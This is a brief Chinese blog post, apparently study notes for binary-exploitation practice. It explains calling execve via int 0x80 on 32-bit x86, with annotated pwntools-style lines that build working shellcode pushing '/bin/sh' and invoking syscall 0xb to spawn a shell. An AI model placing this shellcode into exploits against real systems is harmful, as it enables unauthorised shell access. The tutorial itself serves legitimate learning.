LYYL' Blog

勿忧拂意,勿喜快心,勿恃久安,勿惮初难。

0%

int80 调用execve

execve函数的第一个参数是执行文件的路径,第二个是参数列表,第三个是环境变量列表

1
2
3
4
5
6
7
8
9
10
11
12
13
payload += asm("xor eax, eax")
payload += asm("push 0x68732f")
payload += asm("push 0x6e69622f")
# 设置第一个参数file path
payload += asm("mov ebx, esp")
payload += asm("push eax")
# 设置第三个参数envp,注意这里是参数列表,设置为空
payload += asm("mov edx, esp")
payload += asm("push ebx")
# 设置第二个参数argv,这里参数列表的第一个变量为可执行文件的路径
payload += asm("mov ecx, esp")
payload += asm("mov ax,0xb")
payload += asm("int 0x80")